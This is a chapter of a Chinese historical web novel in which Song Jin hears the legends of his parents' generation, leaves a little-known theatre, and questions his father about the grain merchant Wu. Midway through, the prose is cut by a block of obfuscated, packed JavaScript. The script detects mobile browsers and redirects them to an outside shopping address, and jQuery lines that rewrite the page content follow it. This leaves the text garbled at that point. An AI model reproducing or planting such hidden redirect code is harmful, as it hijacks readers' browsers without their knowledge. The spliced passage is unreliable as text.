苍仁曲眨巴两下眼睛，朝他用力点头。
宋谨意会，将后续缓缓道来：“齐楠与于初结伴寻马，路上偶遇一位游学的宋氏书生。书生说曾见马贩子在附近出没，她的马多半是被掳走了。齐楠心急如焚，跟着书生找到贼窝，果然瞧见自己的马，身上竟有七道刀口。她和于初合力打垮一众马贩子，将马救了回来。”
“七道刀口？！”苍仁曲眉头一蹙，“战马仙子瞧见自己的马伤成这样，该多心疼啊。”
她少时读《边州奇谈》，知晓许多马贩子盯上了边州马感官迟钝的特性，以折辱虐待之法筛选良马，马耐受苦楚越甚，身价便越高。边州多有灵性之物，生灵越是通人性，当地人越能共情。边州马灵性卓绝，认主之后，与主人亲厚如至亲，而要将其训练成一匹战马，更需主人耗费无数心血。
“齐楠后来针对马贩子虐生之举，牵头组织边州百姓发起抗议。此事闹大后，边州官府不得不制定专法保护边州马，划定贩马过程中诸多禁止虐待的细则。正因如此，大家尊称其为‘战马仙子’。”宋谨道。
“原来‘战马仙子’的名号是这么来的。”苍仁曲给宋谨斟了温杯水，又问，“公子，那‘折剑将军’的称号又是怎么回事？”
宋谨淡然一笑：“这个简单。于初当年武举殿试，被榜眼折断了佩剑，可他照样打赢了，拿了武状元，这称号就这么叫开了。”
“父母一辈的故事真是精彩。”
苍仁曲支着腮帮子，心头漾起对母亲的思念。
母亲“边州狼王”的名号，她听旁人说过许多版本，可母亲从未在她面前提过过往。有时她好奇追问真假，母亲也只澄清那些杜撰的部分，余下缄口不言。
母亲常说，故事从不是一人之言，要多听多看不同的视角，才能真正认清一个人，而非凭她的一言之词，潜移默化地影响她、框住她，逼她把自己当成榜样来学。
“天快黑了，该离开了。”宋谨道。
苍仁曲率先起身，见宋谨站起，一旁的延子也跟着起身，默默跟在他身后。
“咦？你怎么还跟着？”
宋谨回头扫了延子一眼，语气平淡：“想来老板未归，他代为送客。”
二人走在庭院里，院墙挡住了夕阳的余晖，遍地覆着沉沉阴影。院里的灯早早点上，不知是谁所点，四下里除了他们二人，再无别的人影，除了二人脚步声，也听不到丝毫动静，只余一片寂静。
路过那方戏台时，苍仁曲忍不住问：“公子，这戏院看着平平无奇，也没什么名气，你是怎么寻到这儿的？
宋谨道：“偶然路过，听见里头有唱戏的声音，想着是家戏院便走了进去，正巧撞见老板和他的朋友听戏。这里算不上正经戏院，只是老板请的戏伶来路神秘，想听戏只能来他这儿。日子久了，我便成了常客。”
苍仁曲去牵马车，宋谨刚走到门口，正好老板匆匆赶了回来。
他笑着招呼：“哎哟，谨公子！瞧我这忙得脚不沾地，总算赶回来送送你。你今儿个听这出戏，还满意吗？”
宋谨应道：“一如既往的好看。等老板有了新戏，我再来。”
苍仁曲赶着马车停在门前，他利落登上了马车。
老板笑得一脸热络：“随时欢迎公子！慢走啊！”
目送马车走远，一转身进门，瞅见延子跟根木桩似的戳在门后。他满脸疑惑：“咦？延子，你怎么自己待在这儿？”
……
马车里，宋谨盯着耷拉下来的车帘怔怔出神，不知在思量什么。
忽然，他唤了一声：“阿曲。”
帘外传来苍仁曲的应声：“公子，何事？”
他问道：“八珍窖的账目里，可有与颐丰粮行的往来交易？”
“确有此事，公子怎么突然问这个？”
宋谨追问道：“交易明细你还记得多少？有没有什么印象深刻的地方？”
苍仁曲心里犯嘀咕，这问题居然和萧择天那夜在船上问的大差不差。她理了理思路回道：“颐丰粮行乃八珍窖指定原料供货商，两家往来甚密，每笔交易数额不菲。然而八珍窖经营不善，连年亏损，债台高筑。最近一笔账目显，八珍窖曾向颐丰粮行借银百万两用以进货，奈何年末依旧亏空严重，无力偿债，只能倒闭。”
宋谨喃喃自语：“吞了颐丰粮行的钱啊......”
苍仁曲道：“公子，我原以为你未曾过目那些账本，也该对此中情由了如指掌，竟也有不明就里之处。”
宋谨道：“我就是个管钱的，顶个正大光明的名头用罢了。这些钱从哪儿来、往哪儿去，我做不得主，很多时候，连知道的资格都没有。”
苍仁曲接话：“宋家不过三口人，公子、老爷、小姐，要管着几十乃至上百口人的家业，早已不止是管钱那么简单。钱库里的数目于你而言，怕只是一串数字，顾及不周全实属正常。”
宋谨头倚车厢壁，抬手撩起袖摆，摩挲着上面的祥纹：“宋家的钱库，不全属于宋家。”
帘外的苍仁曲顿了一下，半晌才道：“......若依公子所言，是不是吴家的钱库，也不一定全属于吴家？”
宋谨听了这话，眸光微动，若有所思。
......
是夜，寒意浸庭户。宋德的居室窗牖大开，夜风卷着寒气涌入。
他立在窗前，窗外枯枝如铁，横斜成道道墨影，印于夜幕之上，月亮镶嵌枝桠间，白如霜雪。
侍从俯身向炉中添炭，尹叔以手试炉，热足了温，转向窗边的人影低声劝道：“老爷，炭火烧得正暖。外头风凉，仔细冻着了身子。”
门外传来几声交谈，须臾，一名侍从推门而入，躬身禀道：“老爷，谨公子来了。”
宋德脸上讶异之色一闪而过，尚未回身，就听见身后宋谨的声音：“父亲，夜寒露重，莫在窗畔久立。”
他转过身，目光落在宋谨身上，踱步靠近炭盆，徐徐开口：“鲜少见你主动寻我，怎么过来了？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103053|195760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“有点事，想同父亲谈一谈。”宋谨回道。
尹叔要去关窗，被宋德抬手制止：“窗子别关，外头景色不错。”
尹叔望了一眼窗外乌漆嘛黑的“美景”，纵然纳闷得很，却不在多言，转头让侍从多添些炭，把火盆烧得旺点。
宋德斜倚在贵妃榻上，侍从取来锦毯覆在他膝头。宋谨在炭盆侧的椅榻落座，接过侍从奉上的暖手壶。侍从们在二人面前另设一鼎小炉，燃炭煮水。
“说事之前，倒有样东西险些忘了。”宋德朝尹叔抬了抬下巴，指了个方向，“尹子，去把那只木马取来。”
尹叔移步至琳琅满目的珍玩架前，从中拿出一个模样寻常、雕工粗朴的小木马，双手捧着送到宋谨面前。
宋谨神色茫然接下那只木马，问道：“父亲，这是我十三岁生辰时，亲手做来送您的礼物，您这是要还给我吗？”
宋德语气平和：“并非此意。这小木马搁了好些年没动过，前几日我试着让它走几步，发现它步履滞涩。你如今的手艺，远胜少年之时，且来看看，是何处出了差错？”
宋谨松了口气：“好。”
宋德凝望着宋谨手中那只被检视、敲敲打打又拆开的小木马，往昔旧事漫过眼底，声音轻缓：“这只马，很像你母亲当年心尖上的那匹爱驹。”
宋谨动作顿了一下，继续若无其事修理着：“这个我知道。”
宋德摇头喟叹：“不，那匹马…在你出生之前已经去世了。”
宋谨抬眸，与他目光相接一瞬，就垂下了眼皮，一声不吭。
宋德叹了口气，继道：“我与你母亲初次相识，始于那匹马驹。当年她的爱驹被马贩所掠，遍体鳞伤。我引着她追踪马贩踪迹，救回了那匹马。奈何那马伤重难愈，腹中又怀有身孕，不久便溘然长逝，所幸那未足月的小马驹，终是活了下来。”
宋谨听完，语气不惊：“竟还有这样一段故事。”
宋德问道：“听说那匹马的幼驹，后来也成了她的心爱坐骑，我始终未曾得见，你记得它叫什么名字？”
“叫‘以恒’。”宋谨低头鼓捣着木马，指腹蹭着小时候留下的歪歪扭扭的痕迹，眼底闪过怀念的光。
他三两下便将木马修好，搁在膝头，拨动机关。木马的四蹄利落腾挪，神似以恒在马场驰骋的模样。
他将小马递还给尹叔，在二人的注视下，尹叔小心将其放回架上。
宋德这才切入正题：“行了，说吧，找我来所谈何事？”
宋谨神情认真看向他：“关于颐丰粮行吴老板的事，我与他交集甚少，今日特来与父亲探讨一二。”
宋德眯着眼，不以为然点头道：“嗯。”
宋谨问道：“先前听父亲提及，吴老板出身士卒贩夫，无文试功名，亦无武举成绩傍身。他当年在容州，究竟是如何得了太子青睐？还让太子力保他来到交州经商，令父亲您以秀止府尹之尊，不惜以家产予以扶持？”
宋德闻言，缓缓睁开了眼。